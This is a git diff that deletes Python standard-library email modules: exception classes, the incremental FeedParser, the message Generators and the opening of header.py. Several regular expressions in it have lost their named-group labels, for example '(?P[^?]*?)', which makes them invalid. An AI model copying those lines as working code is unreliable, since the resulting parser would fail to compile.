Contact: email-sig@python.org - -"""email package exception classes.""" - - -class MessageError(Exception): - """Base class for errors in the email package.""" - - -class MessageParseError(MessageError): - """Base class for message parsing errors.""" - - -class HeaderParseError(MessageParseError): - """Error while parsing headers.""" - - -class BoundaryError(MessageParseError): - """Couldn't find terminating boundary.""" - - -class MultipartConversionError(MessageError, TypeError): - """Conversion to a multipart is prohibited.""" - - -class CharsetError(MessageError): - """An illegal charset was given.""" - - -# These are parsing defects which the parser was able to work around. -class MessageDefect(ValueError): - """Base class for a message defect.""" - - def __init__(self, line=None): - if line is not None: - super().__init__(line) - self.line = line - -class NoBoundaryInMultipartDefect(MessageDefect): - """A message claimed to be a multipart but had no boundary parameter.""" - -class StartBoundaryNotFoundDefect(MessageDefect): - """The claimed start boundary was never found.""" - -class CloseBoundaryNotFoundDefect(MessageDefect): - """A start boundary was found, but not the corresponding close boundary.""" - -class FirstHeaderLineIsContinuationDefect(MessageDefect): - """A message had a continuation line as its first header line.""" - -class MisplacedEnvelopeHeaderDefect(MessageDefect): - """A 'Unix-from' header was found in the middle of a header block.""" - -class MissingHeaderBodySeparatorDefect(MessageDefect): - """Found line with no leading whitespace and no colon before blank line.""" -# XXX: backward compatibility, just in case (it was never emitted). -MalformedHeaderDefect = MissingHeaderBodySeparatorDefect - -class MultipartInvariantViolationDefect(MessageDefect): - """A message claimed to be a multipart but no subparts were found.""" - -class InvalidMultipartContentTransferEncodingDefect(MessageDefect): - """An invalid content transfer encoding was set on the multipart itself.""" - -class UndecodableBytesDefect(MessageDefect): - """Header contained bytes that could not be decoded""" - -class InvalidBase64PaddingDefect(MessageDefect): - """base64 encoded sequence had an incorrect length""" - -class InvalidBase64CharactersDefect(MessageDefect): - """base64 encoded sequence had characters not in base64 alphabet""" - -# These errors are specific to header parsing. - -class HeaderDefect(MessageDefect): - """Base class for a header defect.""" - - def __init__(self, *args, **kw): - super().__init__(*args, **kw) - -class InvalidHeaderDefect(HeaderDefect): - """Header is not valid, message gives details.""" - -class HeaderMissingRequiredValue(HeaderDefect): - """A header that must have a value had none""" - -class NonPrintableDefect(HeaderDefect): - """ASCII characters outside the ascii-printable range found""" - - def __init__(self, non_printables): - super().__init__(non_printables) - self.non_printables = non_printables - - def __str__(self): - return ("the following ASCII non-printables found in header: " - "{}".format(self.non_printables)) - -class ObsoleteHeaderDefect(HeaderDefect): - """Header uses syntax declared obsolete by RFC 5322""" - -class NonASCIILocalPartDefect(HeaderDefect): - """local_part contains non-ASCII characters""" - # This defect only occurs during unicode parsing, not when - # parsing messages decoded from binary. diff --git a/email/feedparser.py b/email/feedparser.py deleted file mode 100755 index 7c07ca8..0000000 --- a/email/feedparser.py +++ /dev/null @@ -1,536 +0,0 @@ -# Copyright (C) 2004-2006 Python Software Foundation -# Authors: Baxter, Wouters and Warsaw -# Contact: email-sig@python.org - -"""FeedParser - An email feed parser. - -The feed parser implements an interface for incrementally parsing an email -message, line by line. This has advantages for certain applications, such as -those reading email messages off a socket. - -FeedParser.feed() is the primary interface for pushing new data into the -parser. It returns when there's nothing more it can do with the available -data. When you have no more data to push into the parser, call .close(). -This completes the parsing and returns the root message object. - -The other advantage of this parser is that it will never raise a parsing -exception. Instead, when it finds something unexpected, it adds a 'defect' to -the current message. Defects are just instances that live on the message -object's .defects attribute. -""" - -__all__ = ['FeedParser', 'BytesFeedParser'] - -import re - -from email import errors -from email._policybase import compat32 -from collections import deque -from io import StringIO - -NLCRE = re.compile(r'\r\n|\r|\n') -NLCRE_bol = re.compile(r'(\r\n|\r|\n)') -NLCRE_eol = re.compile(r'(\r\n|\r|\n)\Z') -NLCRE_crack = re.compile(r'(\r\n|\r|\n)') -# RFC 2822 $3.6.8 Optional fields. ftext is %d33-57 / %d59-126, Any character -# except controls, SP, and ":". -headerRE = re.compile(r'^(From |[\041-\071\073-\176]*:|[\t ])') -EMPTYSTRING = '' -NL = '\n' - -NeedMoreData = object() - - - -class BufferedSubFile(object): - """A file-ish object that can have new data loaded into it. - - You can also push and pop line-matching predicates onto a stack. When the - current predicate matches the current line, a false EOF response - (i.e. empty string) is returned instead. This lets the parser adhere to a - simple abstraction -- it parses until EOF closes the current message. - """ - def __init__(self): - # Text stream of the last partial line pushed into this object. - # See issue 22233 for why this is a text stream and not a list. - self._partial = StringIO(newline='') - # A deque of full, pushed lines - self._lines = deque() - # The stack of false-EOF checking predicates. - self._eofstack = [] - # A flag indicating whether the file has been closed or not. - self._closed = False - - def push_eof_matcher(self, pred): - self._eofstack.append(pred) - - def pop_eof_matcher(self): - return self._eofstack.pop() - - def close(self): - # Don't forget any trailing partial line. - self._partial.seek(0) - self.pushlines(self._partial.readlines()) - self._partial.seek(0) - self._partial.truncate() - self._closed = True - - def readline(self): - if not self._lines: - if self._closed: - return '' - return NeedMoreData - # Pop the line off the stack and see if it matches the current - # false-EOF predicate. - line = self._lines.popleft() - # RFC 2046, section 5.1.2 requires us to recognize outer level - # boundaries at any level of inner nesting. Do this, but be sure it's - # in the order of most to least nested. - for ateof in reversed(self._eofstack): - if ateof(line): - # We're at the false EOF. But push the last line back first. - self._lines.appendleft(line) - return '' - return line - - def unreadline(self, line): - # Let the consumer push a line back into the buffer. - assert line is not NeedMoreData - self._lines.appendleft(line) - - def push(self, data): - """Push some new data into this object.""" - self._partial.write(data) - if '\n' not in data and '\r' not in data: - # No new complete lines, wait for more. - return - - # Crack into lines, preserving the linesep characters. - self._partial.seek(0) - parts = self._partial.readlines() - self._partial.seek(0) - self._partial.truncate() - - # If the last element of the list does not end in a newline, then treat - # it as a partial line. We only check for '\n' here because a line - # ending with '\r' might be a line that was split in the middle of a - # '\r\n' sequence (see bugs 1555570 and 1721862). - if not parts[-1].endswith('\n'): - self._partial.write(parts.pop()) - self.pushlines(parts) - - def pushlines(self, lines): - self._lines.extend(lines) - - def __iter__(self): - return self - - def __next__(self): - line = self.readline() - if line == '': - raise StopIteration - return line - - - -class FeedParser: - """A feed-style parser of email.""" - - def __init__(self, _factory=None, *, policy=compat32): - """_factory is called with no arguments to create a new message obj - - The policy keyword specifies a policy object that controls a number of - aspects of the parser's operation. The default policy maintains - backward compatibility. - - """ - self.policy = policy - self._old_style_factory = False - if _factory is None: - if policy.message_factory is None: - from email.message import Message - self._factory = Message - else: - self._factory = policy.message_factory - else: - self._factory = _factory - try: - _factory(policy=self.policy) - except TypeError: - # Assume this is an old-style factory - self._old_style_factory = True - self._input = BufferedSubFile() - self._msgstack = [] - self._parse = self._parsegen().__next__ - self._cur = None - self._last = None - self._headersonly = False - - # Non-public interface for supporting Parser's headersonly flag - def _set_headersonly(self): - self._headersonly = True - - def feed(self, data): - """Push more data into the parser.""" - self._input.push(data) - self._call_parse() - - def _call_parse(self): - try: - self._parse() - except StopIteration: - pass - - def close(self): - """Parse all remaining data and return the root message object.""" - self._input.close() - self._call_parse() - root = self._pop_message() - assert not self._msgstack - # Look for final set of defects - if root.get_content_maintype() == 'multipart' \ - and not root.is_multipart(): - defect = errors.MultipartInvariantViolationDefect() - self.policy.handle_defect(root, defect) - return root - - def _new_message(self): - if self._old_style_factory: - msg = self._factory() - else: - msg = self._factory(policy=self.policy) - if self._cur and self._cur.get_content_type() == 'multipart/digest': - msg.set_default_type('message/rfc822') - if self._msgstack: - self._msgstack[-1].attach(msg) - self._msgstack.append(msg) - self._cur = msg - self._last = msg - - def _pop_message(self): - retval = self._msgstack.pop() - if self._msgstack: - self._cur = self._msgstack[-1] - else: - self._cur = None - return retval - - def _parsegen(self): - # Create a new message and start by parsing headers. - self._new_message() - headers = [] - # Collect the headers, searching for a line that doesn't match the RFC - # 2822 header or continuation pattern (including an empty line). - for line in self._input: - if line is NeedMoreData: - yield NeedMoreData - continue - if not headerRE.match(line): - # If we saw the RFC defined header/body separator - # (i.e. newline), just throw it away. Otherwise the line is - # part of the body so push it back. - if not NLCRE.match(line): - defect = errors.MissingHeaderBodySeparatorDefect() - self.policy.handle_defect(self._cur, defect) - self._input.unreadline(line) - break - headers.append(line) - # Done with the headers, so parse them and figure out what we're - # supposed to see in the body of the message. - self._parse_headers(headers) - # Headers-only parsing is a backwards compatibility hack, which was - # necessary in the older parser, which could raise errors. All - # remaining lines in the input are thrown into the message body. - if self._headersonly: - lines = [] - while True: - line = self._input.readline() - if line is NeedMoreData: - yield NeedMoreData - continue - if line == '': - break - lines.append(line) - self._cur.set_payload(EMPTYSTRING.join(lines)) - return - if self._cur.get_content_type() == 'message/delivery-status': - # message/delivery-status contains blocks of headers separated by - # a blank line. We'll represent each header block as a separate - # nested message object, but the processing is a bit different - # than standard message/* types because there is no body for the - # nested messages. A blank line separates the subparts. - while True: - self._input.push_eof_matcher(NLCRE.match) - for retval in self._parsegen(): - if retval is NeedMoreData: - yield NeedMoreData - continue - break - msg = self._pop_message() - # We need to pop the EOF matcher in order to tell if we're at - # the end of the current file, not the end of the last block - # of message headers. - self._input.pop_eof_matcher() - # The input stream must be sitting at the newline or at the - # EOF. We want to see if we're at the end of this subpart, so - # first consume the blank line, then test the next line to see - # if we're at this subpart's EOF. - while True: - line = self._input.readline() - if line is NeedMoreData: - yield NeedMoreData - continue - break - while True: - line = self._input.readline() - if line is NeedMoreData: - yield NeedMoreData - continue - break - if line == '': - break - # Not at EOF so this is a line we're going to need. - self._input.unreadline(line) - return - if self._cur.get_content_maintype() == 'message': - # The message claims to be a message/* type, then what follows is - # another RFC 2822 message. - for retval in self._parsegen(): - if retval is NeedMoreData: - yield NeedMoreData - continue - break - self._pop_message() - return - if self._cur.get_content_maintype() == 'multipart': - boundary = self._cur.get_boundary() - if boundary is None: - # The message /claims/ to be a multipart but it has not - # defined a boundary. That's a problem which we'll handle by - # reading everything until the EOF and marking the message as - # defective. - defect = errors.NoBoundaryInMultipartDefect() - self.policy.handle_defect(self._cur, defect) - lines = [] - for line in self._input: - if line is NeedMoreData: - yield NeedMoreData - continue - lines.append(line) - self._cur.set_payload(EMPTYSTRING.join(lines)) - return - # Make sure a valid content type was specified per RFC 2045:6.4. - if (self._cur.get('content-transfer-encoding', '8bit').lower() - not in ('7bit', '8bit', 'binary')): - defect = errors.InvalidMultipartContentTransferEncodingDefect() - self.policy.handle_defect(self._cur, defect) - # Create a line match predicate which matches the inter-part - # boundary as well as the end-of-multipart boundary. Don't push - # this onto the input stream until we've scanned past the - # preamble. - separator = '--' + boundary - boundaryre = re.compile( - '(?P' + re.escape(separator) + - r')(?P--)?(?P[ \t]*)(?P\r\n|\r|\n)?$') - capturing_preamble = True - preamble = [] - linesep = False - close_boundary_seen = False - while True: - line = self._input.readline() - if line is NeedMoreData: - yield NeedMoreData - continue - if line == '': - break - mo = boundaryre.match(line) - if mo: - # If we're looking at the end boundary, we're done with - # this multipart. If there was a newline at the end of - # the closing boundary, then we need to initialize the - # epilogue with the empty string (see below). - if mo.group('end'): - close_boundary_seen = True - linesep = mo.group('linesep') - break - # We saw an inter-part boundary. Were we in the preamble? - if capturing_preamble: - if preamble: - # According to RFC 2046, the last newline belongs - # to the boundary. - lastline = preamble[-1] - eolmo = NLCRE_eol.search(lastline) - if eolmo: - preamble[-1] = lastline[:-len(eolmo.group(0))] - self._cur.preamble = EMPTYSTRING.join(preamble) - capturing_preamble = False - self._input.unreadline(line) - continue - # We saw a boundary separating two parts. Consume any - # multiple boundary lines that may be following. Our - # interpretation of RFC 2046 BNF grammar does not produce - # body parts within such double boundaries. - while True: - line = self._input.readline() - if line is NeedMoreData: - yield NeedMoreData - continue - mo = boundaryre.match(line) - if not mo: - self._input.unreadline(line) - break - # Recurse to parse this subpart; the input stream points - # at the subpart's first line. - self._input.push_eof_matcher(boundaryre.match) - for retval in self._parsegen(): - if retval is NeedMoreData: - yield NeedMoreData - continue - break - # Because of RFC 2046, the newline preceding the boundary - # separator actually belongs to the boundary, not the - # previous subpart's payload (or epilogue if the previous - # part is a multipart). - if self._last.get_content_maintype() == 'multipart': - epilogue = self._last.epilogue - if epilogue == '': - self._last.epilogue = None - elif epilogue is not None: - mo = NLCRE_eol.search(epilogue) - if mo: - end = len(mo.group(0)) - self._last.epilogue = epilogue[:-end] - else: - payload = self._last._payload - if isinstance(payload, str): - mo = NLCRE_eol.search(payload) - if mo: - payload = payload[:-len(mo.group(0))] - self._last._payload = payload - self._input.pop_eof_matcher() - self._pop_message() - # Set the multipart up for newline cleansing, which will - # happen if we're in a nested multipart. - self._last = self._cur - else: - # I think we must be in the preamble - assert capturing_preamble - preamble.append(line) - # We've seen either the EOF or the end boundary. If we're still - # capturing the preamble, we never saw the start boundary. Note - # that as a defect and store the captured text as the payload. - if capturing_preamble: - defect = errors.StartBoundaryNotFoundDefect() - self.policy.handle_defect(self._cur, defect) - self._cur.set_payload(EMPTYSTRING.join(preamble)) - epilogue = [] - for line in self._input: - if line is NeedMoreData: - yield NeedMoreData - continue - self._cur.epilogue = EMPTYSTRING.join(epilogue) - return - # If we're not processing the preamble, then we might have seen - # EOF without seeing that end boundary...that is also a defect. - if not close_boundary_seen: - defect = errors.CloseBoundaryNotFoundDefect() - self.policy.handle_defect(self._cur, defect) - return - # Everything from here to the EOF is epilogue. If the end boundary - # ended in a newline, we'll need to make sure the epilogue isn't - # None - if linesep: - epilogue = [''] - else: - epilogue = [] - for line in self._input: - if line is NeedMoreData: - yield NeedMoreData - continue - epilogue.append(line) - # Any CRLF at the front of the epilogue is not technically part of - # the epilogue. Also, watch out for an empty string epilogue, - # which means a single newline. - if epilogue: - firstline = epilogue[0] - bolmo = NLCRE_bol.match(firstline) - if bolmo: - epilogue[0] = firstline[len(bolmo.group(0)):] - self._cur.epilogue = EMPTYSTRING.join(epilogue) - return - # Otherwise, it's some non-multipart type, so the entire rest of the - # file contents becomes the payload. - lines = [] - for line in self._input: - if line is NeedMoreData: - yield NeedMoreData - continue - lines.append(line) - self._cur.set_payload(EMPTYSTRING.join(lines)) - - def _parse_headers(self, lines): - # Passed a list of lines that make up the headers for the current msg - lastheader = '' - lastvalue = [] - for lineno, line in enumerate(lines): - # Check for continuation - if line[0] in ' \t': - if not lastheader: - # The first line of the headers was a continuation. This - # is illegal, so let's note the defect, store the illegal - # line, and ignore it for purposes of headers. - defect = errors.FirstHeaderLineIsContinuationDefect(line) - self.policy.handle_defect(self._cur, defect) - continue - lastvalue.append(line) - continue - if lastheader: - self._cur.set_raw(*self.policy.header_source_parse(lastvalue)) - lastheader, lastvalue = '', [] - # Check for envelope header, i.e. unix-from - if line.startswith('From '): - if lineno == 0: - # Strip off the trailing newline - mo = NLCRE_eol.search(line) - if mo: - line = line[:-len(mo.group(0))] - self._cur.set_unixfrom(line) - continue - elif lineno == len(lines) - 1: - # Something looking like a unix-from at the end - it's - # probably the first line of the body, so push back the - # line and stop. - self._input.unreadline(line) - return - else: - # Weirdly placed unix-from line. Note this as a defect - # and ignore it. - defect = errors.MisplacedEnvelopeHeaderDefect(line) - self._cur.defects.append(defect) - continue - # Split the line on the colon separating field name from value. - # There will always be a colon, because if there wasn't the part of - # the parser that calls us would have started parsing the body. - i = line.find(':') - - # If the colon is on the start of the line the header is clearly - # malformed, but we might be able to salvage the rest of the - # message. Track the error but keep going. - if i == 0: - defect = errors.InvalidHeaderDefect("Missing header name.") - self._cur.defects.append(defect) - continue - - assert i>0, "_parse_headers fed line with no : and no leading WS" - lastheader = line[:i] - lastvalue = [line] - # Done with all the lines, so handle the last header. - if lastheader: - self._cur.set_raw(*self.policy.header_source_parse(lastvalue)) - - -class BytesFeedParser(FeedParser): - """Like FeedParser, but feed accepts bytes.""" - - def feed(self, data): - super().feed(data.decode('ascii', 'surrogateescape')) diff --git a/email/generator.py b/email/generator.py deleted file mode 100755 index ae670c2..0000000 --- a/email/generator.py +++ /dev/null @@ -1,508 +0,0 @@ -# Copyright (C) 2001-2010 Python Software Foundation -# Author: Barry Warsaw -# Contact: email-sig@python.org - -"""Classes to generate plain text from a message object tree.""" - -__all__ = ['Generator', 'DecodedGenerator', 'BytesGenerator'] - -import re -import sys -import time -import random - -from copy import deepcopy -from io import StringIO, BytesIO -from email.utils import _has_surrogates - -UNDERSCORE = '_' -NL = '\n' # XXX: no longer used by the code below. - -NLCRE = re.compile(r'\r\n|\r|\n') -fcre = re.compile(r'^From ', re.MULTILINE) - - - -class Generator: - """Generates output from a Message object tree. - - This basic generator writes the message to the given file object as plain - text. - """ - # - # Public interface - # - - def __init__(self, outfp, mangle_from_=None, maxheaderlen=None, *, - policy=None): - """Create the generator for message flattening. - - outfp is the output file-like object for writing the message to. It - must have a write() method. - - Optional mangle_from_ is a flag that, when True (the default if policy - is not set), escapes From_ lines in the body of the message by putting - a `>' in front of them. - - Optional maxheaderlen specifies the longest length for a non-continued - header. When a header line is longer (in characters, with tabs - expanded to 8 spaces) than maxheaderlen, the header will split as - defined in the Header class. Set maxheaderlen to zero to disable - header wrapping. The default is 78, as recommended (but not required) - by RFC 2822. - - The policy keyword specifies a policy object that controls a number of - aspects of the generator's operation. If no policy is specified, - the policy associated with the Message object passed to the - flatten method is used. - - """ - - if mangle_from_ is None: - mangle_from_ = True if policy is None else policy.mangle_from_ - self._fp = outfp - self._mangle_from_ = mangle_from_ - self.maxheaderlen = maxheaderlen - self.policy = policy - - def write(self, s): - # Just delegate to the file object - self._fp.write(s) - - def flatten(self, msg, unixfrom=False, linesep=None): - r"""Print the message object tree rooted at msg to the output file - specified when the Generator instance was created. - - unixfrom is a flag that forces the printing of a Unix From_ delimiter - before the first object in the message tree. If the original message - has no From_ delimiter, a `standard' one is crafted. By default, this - is False to inhibit the printing of any From_ delimiter. - - Note that for subobjects, no From_ line is printed. - - linesep specifies the characters used to indicate a new line in - the output. The default value is determined by the policy specified - when the Generator instance was created or, if none was specified, - from the policy associated with the msg. - - """ - # We use the _XXX constants for operating on data that comes directly - # from the msg, and _encoded_XXX constants for operating on data that - # has already been converted (to bytes in the BytesGenerator) and - # inserted into a temporary buffer. - policy = msg.policy if self.policy is None else self.policy - if linesep is not None: - policy = policy.clone(linesep=linesep) - if self.maxheaderlen is not None: - policy = policy.clone(max_line_length=self.maxheaderlen) - self._NL = policy.linesep - self._encoded_NL = self._encode(self._NL) - self._EMPTY = '' - self._encoded_EMPTY = self._encode(self._EMPTY) - # Because we use clone (below) when we recursively process message - # subparts, and because clone uses the computed policy (not None), - # submessages will automatically get set to the computed policy when - # they are processed by this code. - old_gen_policy = self.policy - old_msg_policy = msg.policy - try: - self.policy = policy - msg.policy = policy - if unixfrom: - ufrom = msg.get_unixfrom() - if not ufrom: - ufrom = 'From nobody ' + time.ctime(time.time()) - self.write(ufrom + self._NL) - self._write(msg) - finally: - self.policy = old_gen_policy - msg.policy = old_msg_policy - - def clone(self, fp): - """Clone this generator with the exact same options.""" - return self.__class__(fp, - self._mangle_from_, - None, # Use policy setting, which we've adjusted - policy=self.policy) - - # - # Protected interface - undocumented ;/ - # - - # Note that we use 'self.write' when what we are writing is coming from - # the source, and self._fp.write when what we are writing is coming from a - # buffer (because the Bytes subclass has already had a chance to transform - # the data in its write method in that case). This is an entirely - # pragmatic split determined by experiment; we could be more general by - # always using write and having the Bytes subclass write method detect when - # it has already transformed the input; but, since this whole thing is a - # hack anyway this seems good enough. - - def _new_buffer(self): - # BytesGenerator overrides this to return BytesIO. - return StringIO() - - def _encode(self, s): - # BytesGenerator overrides this to encode strings to bytes. - return s - - def _write_lines(self, lines): - # We have to transform the line endings. - if not lines: - return - lines = NLCRE.split(lines) - for line in lines[:-1]: - self.write(line) - self.write(self._NL) - if lines[-1]: - self.write(lines[-1]) - # XXX logic tells me this else should be needed, but the tests fail - # with it and pass without it. (NLCRE.split ends with a blank element - # if and only if there was a trailing newline.) - #else: - # self.write(self._NL) - - def _write(self, msg): - # We can't write the headers yet because of the following scenario: - # say a multipart message includes the boundary string somewhere in - # its body. We'd have to calculate the new boundary /before/ we write - # the headers so that we can write the correct Content-Type: - # parameter. - # - # The way we do this, so as to make the _handle_*() methods simpler, - # is to cache any subpart writes into a buffer. The we write the - # headers and the buffer contents. That way, subpart handlers can - # Do The Right Thing, and can still modify the Content-Type: header if - # necessary. - oldfp = self._fp - try: - self._munge_cte = None - self._fp = sfp = self._new_buffer() - self._dispatch(msg) - finally: - self._fp = oldfp - munge_cte = self._munge_cte - del self._munge_cte - # If we munged the cte, copy the message again and re-fix the CTE. - if munge_cte: - msg = deepcopy(msg) - msg.replace_header('content-transfer-encoding', munge_cte[0]) - msg.replace_header('content-type', munge_cte[1]) - # Write the headers. First we see if the message object wants to - # handle that itself. If not, we'll do it generically. - meth = getattr(msg, '_write_headers', None) - if meth is None: - self._write_headers(msg) - else: - meth(self) - self._fp.write(sfp.getvalue()) - - def _dispatch(self, msg): - # Get the Content-Type: for the message, then try to dispatch to - # self._handle__(). If there's no handler for the - # full MIME type, then dispatch to self._handle_(). If - # that's missing too, then dispatch to self._writeBody(). - main = msg.get_content_maintype() - sub = msg.get_content_subtype() - specific = UNDERSCORE.join((main, sub)).replace('-', '_') - meth = getattr(self, '_handle_' + specific, None) - if meth is None: - generic = main.replace('-', '_') - meth = getattr(self, '_handle_' + generic, None) - if meth is None: - meth = self._writeBody - meth(msg) - - # - # Default handlers - # - - def _write_headers(self, msg): - for h, v in msg.raw_items(): - self.write(self.policy.fold(h, v)) - # A blank line always separates headers from body - self.write(self._NL) - - # - # Handlers for writing types and subtypes - # - - def _handle_text(self, msg): - payload = msg.get_payload() - if payload is None: - return - if not isinstance(payload, str): - raise TypeError('string payload expected: %s' % type(payload)) - if _has_surrogates(msg._payload): - charset = msg.get_param('charset') - if charset is not None: - # XXX: This copy stuff is an ugly hack to avoid modifying the - # existing message. - msg = deepcopy(msg) - del msg['content-transfer-encoding'] - msg.set_payload(payload, charset) - payload = msg.get_payload() - self._munge_cte = (msg['content-transfer-encoding'], - msg['content-type']) - if self._mangle_from_: - payload = fcre.sub('>From ', payload) - self._write_lines(payload) - - # Default body handler - _writeBody = _handle_text - - def _handle_multipart(self, msg): - # The trick here is to write out each part separately, merge them all - # together, and then make sure that the boundary we've chosen isn't - # present in the payload. - msgtexts = [] - subparts = msg.get_payload() - if subparts is None: - subparts = [] - elif isinstance(subparts, str): - # e.g. a non-strict parse of a message with no starting boundary. - self.write(subparts) - return - elif not isinstance(subparts, list): - # Scalar payload - subparts = [subparts] - for part in subparts: - s = self._new_buffer() - g = self.clone(s) - g.flatten(part, unixfrom=False, linesep=self._NL) - msgtexts.append(s.getvalue()) - # BAW: What about boundaries that are wrapped in double-quotes? - boundary = msg.get_boundary() - if not boundary: - # Create a boundary that doesn't appear in any of the - # message texts. - alltext = self._encoded_NL.join(msgtexts) - boundary = self._make_boundary(alltext) - msg.set_boundary(boundary) - # If there's a preamble, write it out, with a trailing CRLF - if msg.preamble is not None: - if self._mangle_from_: - preamble = fcre.sub('>From ', msg.preamble) - else: - preamble = msg.preamble - self._write_lines(preamble) - self.write(self._NL) - # dash-boundary transport-padding CRLF - self.write('--' + boundary + self._NL) - # body-part - if msgtexts: - self._fp.write(msgtexts.pop(0)) - # *encapsulation - # --> delimiter transport-padding - # --> CRLF body-part - for body_part in msgtexts: - # delimiter transport-padding CRLF - self.write(self._NL + '--' + boundary + self._NL) - # body-part - self._fp.write(body_part) - # close-delimiter transport-padding - self.write(self._NL + '--' + boundary + '--' + self._NL) - if msg.epilogue is not None: - if self._mangle_from_: - epilogue = fcre.sub('>From ', msg.epilogue) - else: - epilogue = msg.epilogue - self._write_lines(epilogue) - - def _handle_multipart_signed(self, msg): - # The contents of signed parts has to stay unmodified in order to keep - # the signature intact per RFC1847 2.1, so we disable header wrapping. - # RDM: This isn't enough to completely preserve the part, but it helps. - p = self.policy - self.policy = p.clone(max_line_length=0) - try: - self._handle_multipart(msg) - finally: - self.policy = p - - def _handle_message_delivery_status(self, msg): - # We can't just write the headers directly to self's file object - # because this will leave an extra newline between the last header - # block and the boundary. Sigh. - blocks = [] - for part in msg.get_payload(): - s = self._new_buffer() - g = self.clone(s) - g.flatten(part, unixfrom=False, linesep=self._NL) - text = s.getvalue() - lines = text.split(self._encoded_NL) - # Strip off the unnecessary trailing empty line - if lines and lines[-1] == self._encoded_EMPTY: - blocks.append(self._encoded_NL.join(lines[:-1])) - else: - blocks.append(text) - # Now join all the blocks with an empty line. This has the lovely - # effect of separating each block with an empty line, but not adding - # an extra one after the last one. - self._fp.write(self._encoded_NL.join(blocks)) - - def _handle_message(self, msg): - s = self._new_buffer() - g = self.clone(s) - # The payload of a message/rfc822 part should be a multipart sequence - # of length 1. The zeroth element of the list should be the Message - # object for the subpart. Extract that object, stringify it, and - # write it out. - # Except, it turns out, when it's a string instead, which happens when - # and only when HeaderParser is used on a message of mime type - # message/rfc822. Such messages are generated by, for example, - # Groupwise when forwarding unadorned messages. (Issue 7970.) So - # in that case we just emit the string body. - payload = msg._payload - if isinstance(payload, list): - g.flatten(msg.get_payload(0), unixfrom=False, linesep=self._NL) - payload = s.getvalue() - else: - payload = self._encode(payload) - self._fp.write(payload) - - # This used to be a module level function; we use a classmethod for this - # and _compile_re so we can continue to provide the module level function - # for backward compatibility by doing - # _make_boundary = Generator._make_boundary - # at the end of the module. It *is* internal, so we could drop that... - @classmethod - def _make_boundary(cls, text=None): - # Craft a random boundary. If text is given, ensure that the chosen - # boundary doesn't appear in the text. - token = random.randrange(sys.maxsize) - boundary = ('=' * 15) + (_fmt % token) + '==' - if text is None: - return boundary - b = boundary - counter = 0 - while True: - cre = cls._compile_re('^--' + re.escape(b) + '(--)?$', re.MULTILINE) - if not cre.search(text): - break - b = boundary + '.' + str(counter) - counter += 1 - return b - - @classmethod - def _compile_re(cls, s, flags): - return re.compile(s, flags) - - -class BytesGenerator(Generator): - """Generates a bytes version of a Message object tree. - - Functionally identical to the base Generator except that the output is - bytes and not string. When surrogates were used in the input to encode - bytes, these are decoded back to bytes for output. If the policy has - cte_type set to 7bit, then the message is transformed such that the - non-ASCII bytes are properly content transfer encoded, using the charset - unknown-8bit. - - The outfp object must accept bytes in its write method. - """ - - def write(self, s): - self._fp.write(s.encode('ascii', 'surrogateescape')) - - def _new_buffer(self): - return BytesIO() - - def _encode(self, s): - return s.encode('ascii') - - def _write_headers(self, msg): - # This is almost the same as the string version, except for handling - # strings with 8bit bytes. - for h, v in msg.raw_items(): - self._fp.write(self.policy.fold_binary(h, v)) - # A blank line always separates headers from body - self.write(self._NL) - - def _handle_text(self, msg): - # If the string has surrogates the original source was bytes, so - # just write it back out. - if msg._payload is None: - return - if _has_surrogates(msg._payload) and not self.policy.cte_type=='7bit': - if self._mangle_from_: - msg._payload = fcre.sub(">From ", msg._payload) - self._write_lines(msg._payload) - else: - super(BytesGenerator,self)._handle_text(msg) - - # Default body handler - _writeBody = _handle_text - - @classmethod - def _compile_re(cls, s, flags): - return re.compile(s.encode('ascii'), flags) - - - -_FMT = '[Non-text (%(type)s) part of message omitted, filename %(filename)s]' - -class DecodedGenerator(Generator): - """Generates a text representation of a message. - - Like the Generator base class, except that non-text parts are substituted - with a format string representing the part. - """ - def __init__(self, outfp, mangle_from_=None, maxheaderlen=None, fmt=None, *, - policy=None): - """Like Generator.__init__() except that an additional optional - argument is allowed. - - Walks through all subparts of a message. If the subpart is of main - type `text', then it prints the decoded payload of the subpart. - - Otherwise, fmt is a format string that is used instead of the message - payload. fmt is expanded with the following keywords (in - %(keyword)s format): - - type : Full MIME type of the non-text part - maintype : Main MIME type of the non-text part - subtype : Sub-MIME type of the non-text part - filename : Filename of the non-text part - description: Description associated with the non-text part - encoding : Content transfer encoding of the non-text part - - The default value for fmt is None, meaning - - [Non-text (%(type)s) part of message omitted, filename %(filename)s] - """ - Generator.__init__(self, outfp, mangle_from_, maxheaderlen, - policy=policy) - if fmt is None: - self._fmt = _FMT - else: - self._fmt = fmt - - def _dispatch(self, msg): - for part in msg.walk(): - maintype = part.get_content_maintype() - if maintype == 'text': - print(part.get_payload(decode=False), file=self) - elif maintype == 'multipart': - # Just skip this - pass - else: - print(self._fmt % { - 'type' : part.get_content_type(), - 'maintype' : part.get_content_maintype(), - 'subtype' : part.get_content_subtype(), - 'filename' : part.get_filename('[no filename]'), - 'description': part.get('Content-Description', - '[no description]'), - 'encoding' : part.get('Content-Transfer-Encoding', - '[no encoding]'), - }, file=self) - - - -# Helper used by Generator._make_boundary -_width = len(repr(sys.maxsize-1)) -_fmt = '%%0%dd' % _width - -# Backward compatibility -_make_boundary = Generator._make_boundary diff --git a/email/header.py b/email/header.py deleted file mode 100755 index c7b2dd9..0000000 --- a/email/header.py +++ /dev/null @@ -1,578 +0,0 @@ -# Copyright (C) 2002-2007 Python Software Foundation -# Author: Ben Gertzfield, Barry Warsaw -# Contact: email-sig@python.org - -"""Header encoding and decoding functionality.""" - -__all__ = [ - 'Header', - 'decode_header', - 'make_header', - ] - -import re -import binascii - -import email.quoprimime -import email.base64mime - -from email.errors import HeaderParseError -from email import charset as _charset -Charset = _charset.Charset - -NL = '\n' -SPACE = ' ' -BSPACE = b' ' -SPACE8 = ' ' * 8 -EMPTYSTRING = '' -MAXLINELEN = 78 -FWS = ' \t' - -USASCII = Charset('us-ascii') -UTF8 = Charset('utf-8') - -# Match encoded-word strings in the form =?charset?q?Hello_World?= -ecre = re.compile(r''' - =\? # literal =? - (?P[^?]*?) # non-greedy up to the next ? is the charset - \? # literal ? - (?P[qb]) # either a "q" or a "b", case insensitive - \? # literal ? - (?P.*?) # non-greedy up to the next ?= is the encoded string - \?= # literal ?= - ''', re.VERBOSE | re.IGNORECASE | re.MULTILINE) - -# Field name regexp, including trailing colon, but not separating whitespace, -# according to RFC 2822. Character range is from tilde to exclamation mark. -# For use with .match() -fcre = re.compile(r'[\041-\176]+:$') - -# Find a header embedded in a putative header value. Used to check for -# header injection attack. -_embedded_header = re.compile(r'\n[^ \t]+:') 